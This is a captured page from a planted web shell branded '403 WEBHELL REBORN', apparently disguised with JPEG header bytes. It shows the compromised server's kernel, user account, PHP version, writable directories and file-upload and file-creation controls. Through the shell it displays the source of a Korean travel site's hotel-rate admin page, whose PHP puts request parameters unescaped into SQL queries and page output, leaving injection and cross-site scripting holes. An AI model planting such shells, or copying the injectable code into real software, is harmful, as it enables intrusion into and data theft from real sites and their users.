ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/res_good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/res_good/hotel_date_ajax.html
<?
include "../include/top_proc.html";
include "../res_hotel/_common.html";

// 룸타입
$rdata = array('hseq'=>$hseq,'disp_yn'=>'Y');
$roomtype_arr = hotel_roomtype($rdata);

if (!$ridx_s) $ridx_s = $roomtype_arr[0]['ridx'];

// 출발일 파라메터 받기
if ( $date_year_s and $date_month_s ) {
	$d_start_s = $date_year_s."-".$date_month_s;
}else{
	$date_year_s = date("Y");
	$date_month_s = date("m");
	$d_start_s = $date_year_s."-".$date_month_s;
}

// 입실일중 첫번째 날짜와 마지막 날짜 
$room_date = hotelDateMinMax($hseq);

//검색된 년월 이전, 이후 년월
$date_pre_next = date_pre_next($date_year_s."-".$date_month_s."-01");

// 객실요금 목록
//$data = hotel_date($hseq,$ridx_s,"",$date_year_s,$date_month_s);
$room_yymm = $date_year_s."-".sprintf("%02d",$date_month_s);
$sql_where = " and r_idx='{$ridx_s}' and left(room_date,7) = '{$room_yymm}' ";
$data = hotel_date($hseq,$sql_where);
?>
	<h2 class="mt35">객실목록
	<img src="../image/common/arrow_l.gif" alt="이전" style="cursor:pointer;margin:0 0 -4px 0;" onClick="ajax_post('ajax_date_list','<?=$PHP_SELF?>?hseq=<?=$hseq?>&ridx_s=<?=$ridx_s?>&date_year_s=<?=$date_pre_next[0]['pre_date1']?>&date_month_s=<?=$date_pre_next[0]['pre_date2']?>');" />

		<select name="date_year_s" id="date_year_s" onchange="search_date_list();" style="margin:0 0 0 0;width:60px;">
		<?
			for($i=$room_date['first_dt1'] ; $i < $room_date['last_dt1']+3 ; $i++){
		?>
			<option value="<?=$i?>" <?=($i==$date_year_s)?"selected":""?>><?=$i?></option>
		<?}?>
		</select>

		<select name="date_month_s" id="date_month_s" onchange="search_date_list();" style="margin:0 0 0 0;width:40px;">
		<?
			for($i=1 ; $i<=12 ; $i++){
				$j = sprintf("%02d",$i);
		?>
			<option value="<?=$j?>" <?=($j==$date_month_s)?"selected":""?>><?=$j?></option>
		<?}?>
		</select>
		<img src="../image/common/arrow_r.gif" alt="이후" style="cursor:pointer;margin:0 0 -4px 0;" onClick="ajax_post('ajax_date_list','<?=$PHP_SELF?>?hseq=<?=$hseq?>&ridx_s=<?=$ridx_s?>&date_year_s=<?=$date_pre_next[1]['next_date1']?>&date_month_s=<?=$date_pre_next[1]['next_date2']?>');"/>
		
		<?if(count($roomtype_arr)>0){?>
		<select name="ridx_s" id="ridx_s" onchange="ajax_post('ajax_date_list','<?=$PHP_SELF?>?hseq=<?=$hseq?>&date_year_s=<?=$date_year_s?>&date_month_s=<?=$date_month_s?>&ridx_s='+this.value);">
			<?
				for($i=0;$i<count($roomtype_arr);$i++){
					$arr = $roomtype_arr[$i];
			?>
				<option value="<?=$arr['ridx']?>" <?=($ridx_s==$arr['ridx'])?"selected":""?>><?=$arr['room_type']?></option>
			<?}?>
		</select>
		<?}?>
	</h2>
	<?
	if(count($data)>0){
	?>
	<div id="ajax_date_list" style="width: 410px; overflow-x: hidden; overflow-y: auto;">
	<table border="0" cellspacing="0" cellpadding="0" width="100%" class="setting_write line_l" style="float:left;">
		<thead>
			<tr>
			<td colspan="10" class="t_top_line"></td>
			</tr>
			<tr>
				<th width="20">No.</th>
				<th>입실일</th>
				<th>개인판매가</th>
				<th>대리점가</th>
				<th>정원</th>
				<th width="60">-</th>
			</tr>
			<?
				for($i=0 ; $i<count($data) ; $i++){
					$row = $data[$i];
					$num = count($data)-$i;
			?>
				<tr>
				<td><?=$num?></td>
				<td ><?=$row['room_date']?> </td>
				<td style="text-align:right;"><?=number_format($row['price_sell'])?></td>
				<td style="text-align:right;"><?=number_format($row['price_agent'])?></td>
				<td><span style="<?if($row['left_seat']>0)echo "font-weight:bold;color:#3333FF;";?>"><?=$row['left_seat']?></span>/<?=$row['total_seat']?></td>
				<td>
					<?
						if($row['reserv_yn']=="C" or $row['reserv_yn']=="R"){
					?>
						<input type="button" value="<?=$row['reserv_str']?>" class="btn_<?=$row['reserv_yn']?>_left" onclick="reserv_hotel('<?=$hseq?>','<?=$row['r_idx']?>','<?=$row['room_date']?>','<?=$row['hdidx']?>');"><span class="btn_<?=$row['reserv_color']?>_right"></span>
					<?}else{?>
						<?=$row['reserv_str']?>
					<?}?>

				</td>
				</tr>
			<?
				}
			?>
		</thead> 
	</table>
</div>
<?
}else{
?>
<table border="0" cellspacing="0" cellpadding="0" width="410" class="setting_write line_l" style="float:left;">
	<thead>
		<tr>
		<td colspan="10" class="t_top_line"></td>
		</tr>
	</thead>
</table>
<?}?>

<script type="text/javascript">
$("#list_hotel_"+hseq).css("font-weight","normal");
$("#list_hotel_<?=$hseq?>").css("font-weight","bold");

hseq = "<?=$hseq?>";

// 항공출발월 목록 검색
function search_date_list()
{
	var date_year_s = $("#date_year_s").val();
	var date_month_s = $("#date_month_s").val();
	
	ajax_post('ajax_date_list','<?=$PHP_SELF?>?hseq=<?=$hseq?>&ridx_s=<?=$ridx_s?>&date_year_s='+date_year_s+'&date_month_s='+date_month_s);
}

</script>

Anon7 - 2021